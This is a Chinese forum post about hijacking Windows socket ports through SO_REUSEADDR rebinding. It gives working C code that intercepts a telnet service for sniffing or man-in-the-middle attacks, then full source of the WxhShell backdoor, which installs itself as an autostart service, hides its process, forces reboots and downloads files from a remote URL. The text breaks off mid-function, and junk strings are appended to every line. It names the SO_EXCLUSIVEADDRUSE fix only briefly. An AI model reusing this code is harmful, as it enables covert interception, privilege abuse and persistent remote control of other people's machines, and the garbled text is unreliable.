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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 7EhN u@5-  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); C_:k8?  
^cvl:HOog  
  saddr.sin_family = AF_INET; ;(6g\'m  
yI{5m^s{  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 7\ SUr9[  
/nx'Z0&+X  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); M&Y .;  
CDy^UQb  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 bEuaOBc  
i=FQGWAUu  
  这意味着什么?意味着可以进行如下的攻击: L?&'xzt B  
eBN)g^  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 wt }9B[  
@{ ;XZb^  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) uUR~&8ERX  
 0IM8  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 z +2V4s=  
cX!Pz.C  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  s0UFym 8  
5 +9 Ze9  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 s'P( ,!f  
|Yi)"-  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。  Wa/g`}  
A^fjfa);V  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 I{0 k  
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  #include i?;r7>  
  #include De  *7OC  
  #include   \J^  
  #include    )(Iy<Y?#  
  DWORD WINAPI ClientThread(LPVOID lpParam);   V% TH7@y  
  int main() l":c  
  { #>;FUZuJr  
  WORD wVersionRequested; }b3/b  
  DWORD ret; $.6K!x{(  
  WSADATA wsaData; dm rps+L  
  BOOL val; &FdWFt=X  
  SOCKADDR_IN saddr; <T?oKOD ]  
  SOCKADDR_IN scaddr; -!qu"A:  
  int err; vP!GJX &n5  
  SOCKET s; <{(/E0~V/<  
  SOCKET sc; }SyxPXs  
  int caddsize; ^[:9fs  
  HANDLE mt; k ^'f[|}  
  DWORD tid;   1a0kfM$  
  wVersionRequested = MAKEWORD( 2, 2 ); kW3E =pr  
  err = WSAStartup( wVersionRequested, &wsaData ); _K9VMczj  
  if ( err != 0 ) { "kMzmo=Pv5  
  printf("error!WSAStartup failed!\n"); qKS;x@  
  return -1; %bXx!x8(  
  } 5vzceQE}  
  saddr.sin_family = AF_INET; 10Wz,vW,n  
   `WEZ"5n  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 =%)+%[wv  
AT Zhr. H  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); PrQ?PvA<L  
  saddr.sin_port = htons(23); gB,G.QM*6  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2Tav;LKX  
  { %3;Fgky  
  printf("error!socket failed!\n"); <hnCUg1  
  return -1; Ko>&)%))$X  
  } VvbFp  
  val = TRUE; _&3<6$}i"  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 p4>$z& _  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) xZ5M/YSyG  
  { YKZrEP 4^  
  printf("error!setsockopt failed!\n");  1iT\df  
  return -1; ChryJRuwv5  
  } Rx36?/  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; v;#=e$%}MO  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 " }gVAAvc7  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ^62|d  
fJ*:{48  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 5M]z5}n/  
  { kyh_9K1  
  ret=GetLastError(); #BK9 k>i  
  printf("error!bind failed!\n"); ( <t_Pru  
  return -1; fyz nuUl  
  } '+'CbWgY  
  listen(s,2); YO{GU7  
  while(1) g o5]<4`r  
  { 0rk]/--FGJ  
  caddsize = sizeof(scaddr); R`Aj|C z  
  //接受连接请求 rR ES8/  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Oh.ZPG=  
  if(sc!=INVALID_SOCKET) 6}~pq1IF{  
  { a^qNJ?R !  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); iVtl72O  
  if(mt==NULL) AEmNHO@%q  
  { kID[#g'  
  printf("Thread Creat Failed!\n"); HC {XX>F^  
  break; z@s5m}  
  }  , iNv'  
  } Yw3oJf&  
  CloseHandle(mt); LL^q1)o  
  } \u-0v.+|  
  closesocket(s); }g +;y  
  WSACleanup(); A % Q!^d  
  return 0; F+UG'4%  
  }   DVZdClAL  
  DWORD WINAPI ClientThread(LPVOID lpParam) -kz4FS  
  { uxn)R#?  
  SOCKET ss = (SOCKET)lpParam; dCYCHHHF  
  SOCKET sc; 09KcKhFB  
  unsigned char buf[4096]; C F!Sa6  
  SOCKADDR_IN saddr; @r(Z%j7  
  long num; ubsSa}$q  
  DWORD val; vg Ipj3u  
  DWORD ret; 4nfu6Dq  
  //如果是隐藏端口应用的话,可以在此处加一些判断 FQ%c~N  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   :pX`?Ew`g  
  saddr.sin_family = AF_INET; .%BT,$1K  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); PupM/?57  
  saddr.sin_port = htons(23); |rw%FM{F  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #qU-j/Qf  
  { :nHKl  
  printf("error!socket failed!\n"); uf<@ruN  
  return -1; <oKGD50#  
  } 5[l8y ,  
  val = 100; WS-dS6Q}  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) nZ1zJpBmI  
  { k- V,~c  
  ret = GetLastError(); +[@z(N-h  
  return -1; VLsxdwHgb  
  } [u@Jc,  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Q'l^9Bz  
  { X5fmz%VK@  
  ret = GetLastError(); T#%/s?_>.  
  return -1; _EnwME {@  
  } HD,xY4q&N  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) \]Kh[z0"  
  { vr#+0:|  
  printf("error!socket connect failed!\n"); <H3ezv1M  
  closesocket(sc); uY_SU-v  
  closesocket(ss); Xdi:1wW@p  
  return -1; @WH@^u  
  } ^2d!*W|  
  while(1) K/m3  
  { H|ozDA  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 0.$hn  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 gK#mPcn^  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ~vLW.:  
  num = recv(ss,buf,4096,0); sAo& uZ  
  if(num>0) n%h^o   
  send(sc,buf,num,0); ')a(.f  
  else if(num==0) 5tJ,7Y'  
  break; mOo`ZcTU  
  num = recv(sc,buf,4096,0); -?]W*f  
  if(num>0) f~E*Zz`;  
  send(ss,buf,num,0); qQ\Y/}F  
  else if(num==0) 0![ +Q4"  
  break; x@mL $  
  } }:: S 0l  
  closesocket(ss); VxP&j0M>  
  closesocket(sc); wB'zuPAK6  
  return 0 ; |+  N5z  
  } jq'!UN{  
C]^H&  
vVGDDDz/  
========================================================== gTRF^knrY  
k6`6Mjbc  
下边附上一个代码,,WXhSHELL (E,T#uc{  
zf3v5Hk  
========================================================== MO;X>D=  
Qf@I)4'  
#include "stdafx.h" 3_JCU05H}  
t|t#vcB  
#include <stdio.h> rD>*j~_+P  
#include <string.h> F~ Lx|)0M  
#include <windows.h> $mF_,|  
#include <winsock2.h> d[rv1s>i  
#include <winsvc.h> c8Z wr]DF  
#include <urlmon.h> gGfoO[B  
z;@*r}H  
#pragma comment (lib, "Ws2_32.lib") zB yqD$  
#pragma comment (lib, "urlmon.lib") (8_\^jJ  
\.M*lqI  
#define MAX_USER   100 // 最大客户端连接数 1CLL%\V  
#define BUF_SOCK   200 // sock buffer 1+?N#Fh  
#define KEY_BUFF   255 // 输入 buffer 6(P M'@i  
`y+tf?QN  
#define REBOOT     0   // 重启 .s$z/Jv  
#define SHUTDOWN   1   // 关机 V|\7')Qq  
O12eH  
#define DEF_PORT   5000 // 监听端口 GfC5z n>  
'vNG(h#%d  
#define REG_LEN     16   // 注册表键长度 DBP9{ x$  
#define SVC_LEN     80   // NT服务名长度 ]qhPd_$?D'  
ON+J>$[[  
// 从dll定义API m,fAeln  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); hMtf.3S7c  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); arf8xqR-U]  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nS>8bub30  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *hcYGLx r  
](|\whI  
// wxhshell配置信息 fFQ|T:vm  
struct WSCFG { b+Br=Fv"T  
  int ws_port;         // 监听端口 Y`?-VaY  
  char ws_passstr[REG_LEN]; // 口令 s.8{5jVG  
  int ws_autoins;       // 安装标记, 1=yes 0=no w6j/ Dq!  
  char ws_regname[REG_LEN]; // 注册表键名 bJs9X/E  
  char ws_svcname[REG_LEN]; // 服务名 ->N8#XH2=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %.Q !oYehj  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0Fu~%~#E$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2#k5+?-c61  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $8BPlqBIZ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?,/U^rf^4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *g^x*|f6  
}V\N16f  
}; D_Bb?o5  
7%sdtunf`  
// default Wxhshell configuration QE7V. >J_p  
struct WSCFG wscfg={DEF_PORT, 'F3)9&M  
    "xuhuanlingzhe", &\_iOw8  
    1, iQ"XLrpl  
    "Wxhshell", &4_qF^9J  
    "Wxhshell", t45Z@hmcW  
            "WxhShell Service", t%8d-+$  
    "Wrsky Windows CmdShell Service", --DoB=5%8  
    "Please Input Your Password: ", "^Ybs'-  
  1, Q%f|~Kl-hd  
  "http://www.wrsky.com/wxhshell.exe", +]Y,q w  
  "Wxhshell.exe" 9+pmS#>_  
    }; )rixMl &[  
HJY2#lSha6  
// 消息定义模块 AoyX\iqQ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0#MqD[U(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (P`3 @H  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; K^R,Iu/M  
char *msg_ws_ext="\n\rExit."; L31|\x]  
char *msg_ws_end="\n\rQuit."; Sf r&p>{,  
char *msg_ws_boot="\n\rReboot..."; y a_<^O 9  
char *msg_ws_poff="\n\rShutdown..."; 2;?I>~  
char *msg_ws_down="\n\rSave to "; Km^&<3ch#  
Mec5h}^  
char *msg_ws_err="\n\rErr!"; ? C/Te)  
char *msg_ws_ok="\n\rOK!"; y.q(vzg\_  
*<!oHEwkN  
char ExeFile[MAX_PATH]; )Dz+X9;g+  
int nUser = 0; fYW6b[lI  
HANDLE handles[MAX_USER]; C/-63O_  
int OsIsNt; Zcc9e 03  
[0D Et   
SERVICE_STATUS       serviceStatus; RH|XxH*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5v6Ei i:  
OiP!vn}k  
// 函数声明 r4#o+qE  
int Install(void); 'f?$"U JF  
int Uninstall(void); .AU)*7Gh  
int DownloadFile(char *sURL, SOCKET wsh); RG4sQ0  
int Boot(int flag); l(#)WWr+  
void HideProc(void); (V HL{rj  
int GetOsVer(void); |u;v27  
int Wxhshell(SOCKET wsl); %x} O1yV  
void TalkWithClient(void *cs); f^.AD-  
int CmdShell(SOCKET sock); #KiRfx4G  
int StartFromService(void); E^ SH\5B  
int StartWxhshell(LPSTR lpCmdLine); (!zy{;g|  
$-*!pRaVU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >HS W]"k  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <(-hx+^  
`FC(  
// 数据结构和表定义 5hy""i  
SERVICE_TABLE_ENTRY DispatchTable[] = Dv/WE>?Aw  
{ NSDv ;|f  
{wscfg.ws_svcname, NTServiceMain}, *v3]}g[<  
{NULL, NULL} ^R@j=_8}  
}; ,kn"> k9  
J>bJ 449B  
// 自我安装 &HY+n) o  
int Install(void) smDw<slC  
{ fw RZ5`v<  
  char svExeFile[MAX_PATH]; }B.H|*uO  
  HKEY key; oTuOw|[  
  strcpy(svExeFile,ExeFile); JC3m.)/  
G-.^O,%  
// 如果是win9x系统,修改注册表设为自启动 ,5*eX  
if(!OsIsNt) { WpRc)g :  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6Avw-}.7>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5x>}O3Q_  
  RegCloseKey(key); IDG}ZlG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { " _ka<R..  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '`uwJ&@  
  RegCloseKey(key); C-H@8p?T  
  return 0; TTTPxO,  
    } ZXuv CI  
  } H?X|(r|+  
} *9{Z$IA9w  
else { 7 !JQB  
 #c66)  
// 如果是NT以上系统,安装为系统服务 AQiwugs  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]3 l9:|  
if (schSCManager!=0) N/K.%<h  
{ x" L20}  
  SC_HANDLE schService = CreateService T]=r Co  
  ( 07^iP>?  
  schSCManager, aiu5}%U  
  wscfg.ws_svcname, tyqT  
  wscfg.ws_svcdisp, +P`*kj-P\  
  SERVICE_ALL_ACCESS, 7w6cwHrL@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , csW43&  
  SERVICE_AUTO_START, PIwFF}<(  
  SERVICE_ERROR_NORMAL, _zwG\I|Q  
  svExeFile, <t \H^H!  
  NULL, u;/ Vyu  
  NULL, DuHu\>f<S  
  NULL, D,k"PaLP  
  NULL, 7M<'/s  
  NULL mh{1*T$fP  
  ); T, )__h  
  if (schService!=0) "\o+v|;  
  { tE`u(B,  
  CloseServiceHandle(schService); ?1K#dC52#  
  CloseServiceHandle(schSCManager); S9~ +c  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ap+JQ@b  
  strcat(svExeFile,wscfg.ws_svcname); ([m mPyp>L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `yH<E+   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <BMXCk  
  RegCloseKey(key); E{Ov>osq  
  return 0; [VsKa\9u  
    } vRH d&0  
  } ov_j4 j>6P  
  CloseServiceHandle(schSCManager); z;|A(*Y  
} uJC~LC N  
} lY?QQ01D  
dE4L=sTEsy  
return 1; 3 +G$-ru  
} y+c|vdW%  
YW( Qmo7  
// 自我卸载 x"gd8j]s  
int Uninstall(void) 5BlR1*  
{ A|X">,A  
  HKEY key; d\R,Q  
%&w3;d;c  
if(!OsIsNt) { =,_ +0M9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QSszn`e  
  RegDeleteValue(key,wscfg.ws_regname); $ us]35Z3  
  RegCloseKey(key); (nlvl?\d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %'s>QF]'  
  RegDeleteValue(key,wscfg.ws_regname); odjT:Vr  
  RegCloseKey(key); ;h*K}U  
  return 0; V9{]OV%  
  } >aj7||K  
} ymx>i~>7J  
} 7b;I+q  
else { +'I+o5*  
<b`E_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); M42 Ssn)  
if (schSCManager!=0) +zaA,e?\  
{ b\$}>O  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ifUGY[L  
  if (schService!=0) QgU8 s'e  
  { !'&n -Q  
  if(DeleteService(schService)!=0) { E[@ u 3i8  
  CloseServiceHandle(schService); 'B 43_  
  CloseServiceHandle(schSCManager); ktFhc3);!  
  return 0; R`DKu=  
  } [z`31F  
  CloseServiceHandle(schService); q_g+Jf P-D  
  } 6@{(;~r  
  CloseServiceHandle(schSCManager); 52 fA/sx  
} =|3ek  
} Li/O  
_aad=BrMK  
return 1; H%UL%l$  
} 4cabP}gBk  
wVicyiY]  
// 从指定url下载文件 4'`{H@]tb  
int DownloadFile(char *sURL, SOCKET wsh) {*0<T|<n  
{ 8S mCpg  
  HRESULT hr; 9`I _Et  
char seps[]= "/"; hb zC#@ q  
char *token; 544X1Ww2  
char *file; (@<lRA ^  
char myURL[MAX_PATH]; :PIF07$xl  
char myFILE[MAX_PATH]; e vrXo"3  
=j5MFX.-o  
strcpy(myURL,sURL); \O*-#}~\  
  token=strtok(myURL,seps); Hv sob  
  while(token!=NULL) ~$:|VHl  
  { P7nc7a  
    file=token; 8+a4>8[M  
  token=strtok(NULL,seps); \K@'Z  
  } QDs^Ije  
I/d&G#:~  
GetCurrentDirectory(MAX_PATH,myFILE); S M0~fAtE  
strcat(myFILE, "\\"); @ezH'y-v  
strcat(myFILE, file); Qy^1*j<@&  
  send(wsh,myFILE,strlen(myFILE),0); :3XA!o&.T3  
send(wsh,"...",3,0); hd>aZ"nm1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *BR~}1 i  
  if(hr==S_OK) SB1upTn  
return 0; U1DXe h~V  
else [Sr,h0h6  
return 1; Mn9dqq~a  
TD1 [  
} IE;~?W"  
g!$!F>[  
// 系统电源模块 =Z P%mW&;}  
int Boot(int flag) ';TT4$(m  
{ 8P^I TL z%  
  HANDLE hToken; 'oF%,4 !Y  
  TOKEN_PRIVILEGES tkp; 0Fk5kGD,&K  
WFO4gB*  
  if(OsIsNt) { QW $G  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6|aKL[%6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); BGOuDKz9C  
    tkp.PrivilegeCount = 1; &y3OR1_Sm*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; m@"QDMHk.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); D2](da:]8)  
if(flag==REBOOT) { B:gjAb}9T  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?&|5=>u2}$  
  return 0; kSR\RuY*  
} =+U `-J} g  
else { rs,2rSsg!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3&u&x(   
  return 0; (yF:6$:#  
} a= DcZ_M  
  } 85n1eE  
  else { aa>xIW,u  
if(flag==REBOOT) { 62O.?Ij  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) h3bff#<K  
  return 0; ~-EOjX(X'E  
} in~D  
else { EQf[,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) p3 w  
  return 0; ~~v3p>zRr  
} k Mu8"Az  
} *MJX?  
&;+ -?k|  
return 1; 7g%E`3)"  
} kKAP"'v  
>sK!F$  
// win9x进程隐藏模块 N'g>MBdI  
void HideProc(void) bsB*533  
{ 95YL]3V  
byT h/H  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %kdE un  
  if ( hKernel != NULL ) u/M+u;  
  { c&AygqN  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5<UVD:~z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); DV _2P$tT|  
    FreeLibrary(hKernel); DpUbzr41+k  
  } Fxm$9(Y  
w)Q0_2p.  
return; &Rvm>TC=  
} D|Q#gcWpo  
qWODs  
// 获取操作系统版本 ; mZW{j  
int GetOsVer(void) Kac' ;1  
{ 8DegN,?  
  OSVERSIONINFO winfo; ptU \[Tq  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /(iFcMT  
  GetVersionEx(&winfo); EL(nDv  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Zg'Q>.:  
  return 1; 8$0rR55  
  else ;*:Pw?'  
  return 0; Y*H|?uNF  
} K%^V?NP*{Z  
eA#;AQm  
// 客户端句柄模块 =5kY6%E7c  
int Wxhshell(SOCKET wsl) 8C67{^`::  
{ b/C`J p  
  SOCKET wsh; )?X-(4  
  struct sockaddr_in client; 8 0Gn%1A9  
  DWORD myID; B2C$N0R#  
R}q>O5O  
  while(nUser<MAX_USER) |Z=^`J  
{ +\F'iAs@  
  int nSize=sizeof(client); &(xH$htv1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); PfC!lI BU  
  if(wsh==INVALID_SOCKET) return 1; e> (<eu~P  
m]5Cq6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [Pq}p0cD  
if(handles[nUser]==0) wtH? [>S;)  
  closesocket(wsh); UN]f"k&  
else *#tJM.Z  
  nUser++; ~TS y<t~%-  
  } 8]M_z:F7F  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); vK _?<>  
K }Vv4x1U  
  return 0; hvDNz"ec{  
} 3td)'}  
w8Sp <6*  
// 关闭 socket 9hOJvQ2U]  
void CloseIt(SOCKET wsh) BV>\ McI+  
{ ev#;t@^  
closesocket(wsh); ^OstR`U3  
nUser--; (UU(:/  
ExitThread(0); DjN|Wr)*  
} v(EEG/~  
5ZMR,SZhC  
// 客户端请求句柄 Cb9;QzBVA#  
void TalkWithClient(void *cs) }T%}wdj  
{ , ]+z)   
1#0{@35  
  SOCKET wsh=(SOCKET)cs; <-,gAk)u  
  char pwd[SVC_LEN]; b#K:_ac5  
  char cmd[KEY_BUFF]; '+$EhFwD  
char chr[1]; :&:JTa1cv  
int i,j; !!`!|w  
O }(VlR2  
  while (nUser < MAX_USER) { +TQ47Z c  
ad:&$  
if(wscfg.ws_passstr) { xv&Q+HD  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); brdmz}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j4;0|zx-i  
  //ZeroMemory(pwd,KEY_BUFF); s;64N'HH  
      i=0; }w1~K'ck}>  
  while(i<SVC_LEN) { z&{5;A}Q@  
A` AaTP  
  // 设置超时 ^d~1E Er  
  fd_set FdRead; sfOHarww  
  struct timeval TimeOut; jSwf*u  
  FD_ZERO(&FdRead); R0L&*Bjm  
  FD_SET(wsh,&FdRead); ]Yvga!S"C  
  TimeOut.tv_sec=8; DXa-rk8  
  TimeOut.tv_usec=0; yb/%?DNQT  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9\]^|?zQ`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Wh%ucX&  
qfK`MhA}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .F(i/)vaq|  
  pwd=chr[0]; |'{zri|A"  
  if(chr[0]==0xd || chr[0]==0xa) { Hv\-_>}K  
  pwd=0; Q~j`YmR|  
  break; =<NljOR4`  
  } )J NSZB  
  i++; k:#P|z$UD  
    } CJXg@\\/  
X_g 3rv1J  
  // 如果是非法用户,关闭 socket W"k8KODOY  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N1}={yF.fQ  
} 8krpowVs~  
aN $}?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (>I`{9x>6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qq1-DG  
w&B#goS  
while(1) { &g~ wS@  
lME)?LOI  
  ZeroMemory(cmd,KEY_BUFF); K.z64/H:  
OKvPL=~  
      // 自动支持客户端 telnet标准   Sf,R^9#|  
  j=0; QtJg ^2@  
  while(j<KEY_BUFF) { j`*#v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H_ez'yy  
  cmd[j]=chr[0]; wu4NLgkE  
  if(chr[0]==0xa || chr[0]==0xd) { v^_mFp-}\  
  cmd[j]=0; Iy.rqc/86  
  break; f~_th @K  
  } ^-a8V'  
  j++; EgDQ+( -  
    } x $zKzfHW  
ocyb5j  
  // 下载文件 .]9c/  
  if(strstr(cmd,"http://")) { !QT'L,_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @mBX~ ?=Z3  
  if(DownloadFile(cmd,wsh)) VT.;:Q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !xKJE:4/,m  
  else 6O22P?v  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i]#+1Hf  
  } [F[K^xYTlg  
  else { ZDC9oX @  
!2|=PB' M  
    switch(cmd[0]) { )|I5j];L  
  CY& hIh~S@  
  // 帮助 q;:6_Qr  
  case '?': { vi)%$~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )Y8",Ig  
    break; ,= &B28Qe)  
  } I Nc^L  
  // 安装 wCHR7X0*b  
  case 'i': { eJo3 MK  
    if(Install()) @Fpb-Qd"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %,iIpYx  
    else !P$'#5mr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o1/lZm{\~n  
    break; kpI{KISQu  
    } 1H,g=Y4f%  
  // 卸载 K A276#  
  case 'r': { _7D_72  
    if(Uninstall()) c=6Q%S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f N "tA  
    else R <"6ojn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =5s F"L;b  
    break; ((rv]f{  
    } H\GkW6  
  // 显示 wxhshell 所在路径 TFepxF  
  case 'p': { V >,Z-&.%  
    char svExeFile[MAX_PATH]; ;_:Ool,  
    strcpy(svExeFile,"\n\r"); !4rPv\   
      strcat(svExeFile,ExeFile); Oc&),ru2l  
        send(wsh,svExeFile,strlen(svExeFile),0); 4{qB X?  
    break; mga6[E<  
    } L}j0a>=x4  
  // 重启 FhIqy %X  
  case 'b': { 9Z6C8J v  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6TH!vuQ1(  
    if(Boot(REBOOT)) {$M;H+Foh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wVq\FY%  
    else { 5=KF!?  
    closesocket(wsh); M3zDtN  
    ExitThread(0); <TNk?df7  
    } o/,NGU  
    break; IB|]fzy  
    } uvA(Rn  
  // 关机 :ZxLJK9x1  
  case 'd': { A.Bk/N1G  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }xlKonk  
    if(Boot(SHUTDOWN)) $gMCR b,  
